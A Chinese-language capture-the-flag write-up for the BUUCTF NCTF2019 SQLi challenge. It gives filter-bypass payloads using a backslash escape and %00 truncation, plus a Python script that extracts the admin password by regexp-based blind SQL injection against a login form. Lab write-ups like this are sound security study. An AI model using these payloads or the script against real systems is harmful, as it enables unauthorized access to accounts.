Web|Buuctf [NCTF2019]SQLi

发布时间 2023-05-06 14:21:46作者: scarecr0w7


直接给出了查询语句

select * from users where username='' and passwd=''

构造语句查询,发现有过滤

fuzz一下,很多参数都被过滤

robots协议下发现hint.txt文件

hint.txt文件,有被过滤的参数,但是没有过滤"、|和\,并且提示只要密码与admin的密码相同就可以获得flag

解题思路

无引号闭合:可以利用转义符
注释符#和-- -:%00作为截断字符可以代替
爆破字符:利用regexp(正则匹配)注入配合 ^

盲注入

payload

username=\&passwd=||1;%00

# select * from users where username='\' and passwd='||1;%00'



当页面正确时响应页面会跳转到welcome.php

正则爆破

payload

username=\&passwd=||passwd/**/regexp/**/"^x";%00

以x去匹配flag,以x开头就匹配成功
脚本:

import requests
from urllib import parse
import string
url = 'http://9dcb13a9-12f1-4b96-b215-7288eab945ae.node4.buuoj.cn:81/'
num = 0 
flag = ''
string= string.ascii_lowercase + string.digits + '_'# flag是由小写字母数字和_组成
for i in range (1,30):
    if num == 1 :
        break
    for j in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00'))
        }
        res = requests.post(url=url,data=data)
        if 'welcome' in res.text:
            flag += j
            print(flag)
            break
        if j=='_' and 'welcome' not in res.text:
            break
you_will_never_know7788990

得到密码后以任意用户使用admin密码登录即可获得flag

flag{988dce50-d7d0-4456-b6c8-e4fe4abc2111}